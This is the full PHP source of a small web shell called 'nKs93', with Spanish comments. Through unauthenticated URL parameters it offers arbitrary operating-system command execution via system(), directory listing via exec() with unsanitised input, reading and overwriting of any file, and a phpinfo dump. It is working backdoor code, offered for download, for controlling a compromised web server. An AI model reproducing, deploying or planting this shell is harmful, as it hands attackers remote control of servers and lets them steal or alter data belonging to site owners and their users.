<?/* -:: Name: nKs93-:: Version: 1-:: Author: nobuK-:: Website: http://nobuKlog.blogspot.com*/?><?// Some CSS stuff...?><style type="text/css">table.files { border-width: 0px 0px 0px 0px; border-spacing: 0px; border-style: none none none none; border-color: gray gray gray gray; border-collapse: collapse; background-color: white;}table.files th { border-width: 0px 0px 0px 0px; padding: 5px 5px 5px 5px; border-style: none none none none; border-color: gray gray gray gray; background-color: white; -moz-border-radius: 0px 0px 0px 0px;}table.files td { border-width: 0px 0px 0px 0px; padding: 5px 5px 5px 5px; border-style: none none none none; border-color: gray gray gray gray; background-color: white; -moz-border-radius: 0px 0px 0px 0px;}</style><?/* ---------------------------- *//* Functions */// Index Function - Muestra el indexfunction _index() {echo "<center><pre>";echo "<u><b>Info</b></u><br>";echo $_SERVER["SERVER_SOFTWARE"]."<br>";}//Edit Function - Edita archivosfunction _edit($ua) {if (isset($_POST['file'])) {$ar = fopen(urldecode($ua), "w+");fwrite($ar,$_POST['file']);fclose($ar);echo "<pre>File <b>".urldecode($ua)."</b> was saved";}echo "<center><form action=".$_SERVER['REQUEST_URI']." method=\"POST\"><textarea cols=\"100\" rows=\"50\" name=\"file\">".file_get_contents(urldecode($ua))."</textarea><br><input type=\"submit\" value=\"Save\"></center>";}// View function - Subraya un archivofunction _view($ua) {$f = urldecode($ua);highlight_file($f);}// Header Function - Muestra el headerfunction _header() {echo "<center><font size=20 face=\"Webdings\">!</font><pre>nKs93<br><a href='?'>Index</a> - <a href='?dir;./'>Dir</a> - <a href='?command;echo+Execute+commands'>Command execution</a> - <a href='?phpinfo;phpinfo'>PhpInfo</a></center><br>";}// Footer Function - Muestra el footerfunction _footer() {echo "<pre><center><br>Version 1 - Developed by nobuK - <a href=http://nobuKlog.blogspot.com>http://nobuKlog.blogspot.com</a> - Visit my site for new versions</center><br>";}// Dir Function - Muestra archivos y carpetasfunction _dir($ua) {echo "<center><pre>";echo "<table class=\"files\"><tr> <th>Filename</th> <th>Type</th> <th>Action</th></tr>";exec('cd '.urldecode($ua).' & dir /B',$rarray);echo "<center>";echo "<tr> <td>..</td> <td>Folder</td> <td><a href=?dir;$ua../>Dir</a></td></tr>";foreach ( $rarray as $v ){$exploded = explode('.',$v);$count = count($exploded);if ($count == 1) {$type = "Folder";}else{$type = strtoupper($exploded[$count-1])." File";}if ($type != 'Folder') {if (file_exists(urldecode($ua.$v))==true) {echo "<tr> <td>$v</td> <td>$type</td> <td><a href='?view;$ua$v'>View</a> - <a href='?edit;$ua$v'>Edit</a></td></tr>";} else {echo "<tr> <td>$v</td> <td>$type</td> <td><a href='?dir;$ua$v'/>Dir</a></td></tr>";}} else {echo "<tr> <td>$v</td> <td>$type</td> <td><a href='?dir;$ua$v/'>Dir</a></td></tr>";}}echo "<table>";}echo "</pre>";// Command Function - Ejecuta comandos del sistemafunction _command($ua) {echo "<pre>";echo "<center>";echo "<u><b>Result of \"".urldecode($ua)."\"</b><br></u>";system(urldecode($ua),$rarray);$scr_name = $_SERVER['REQUEST_URI'];$cmd = explode(';',$scr_name);echo "<br><form action=\"javascript:window.location='$cmd[0]'+';'+document.com_exec.command.value\" name=\"com_exec\"><input type=\"text\" size=\"100\" value=\"command\" name=\"command\"><input type=\"submit\" value=\"Send\"></center>";}// PhpInfo Function - Muestra phpinfo()function _phpinfo() {phpinfo();}/* Reading commands */// Print header_header();//Coje la URL, dividela y coge la accion que se pide$urir = $_SERVER['REQUEST_URI'];$uri = str_replace('+',' ', $urir);$uriarray = explode(';',$uri);$uriarray_f = explode('?',$uriarray[0]);$cread = 'no';// Si la accion es view...if ($uriarray_f[1] == 'view') {// ... mostramos el archivo_view($uriarray[1]);$cread = 'si';}// Si la accion es command...if ($uriarray_f[1] == 'command') {// ... llamamos a la funcion _command con el comando que se ha puesto_command($uriarray[1]);$cread = 'si';}// Si la accion es dir...if ($uriarray_f[1] == 'dir') {// ... llama a la funcion _dir con la ruta que se ha puesto_dir($uriarray[1]);$cread = 'si';}// Si la accion es phpinfo...if ($uriarray_f[1] == 'phpinfo') {// ... llama a la funcion _phpinfo_phpinfo();$cread = 'si';}// Si la accion es edit...if ($uriarray_f[1] == 'edit') {// ... llama a la funcion _edit con el archivo que se ha puesto_edit($uriarray[1]);$cread = 'si';}// si se ha identificado un comando se cambia el valor de $cread por 'si'// si no se ha identificado ninguno se cambia el valor de $cread por 'si'// si $cread es no...if ($cread == 'no') {// ... muestra el index_index();}// Muestra el footer_footer();?>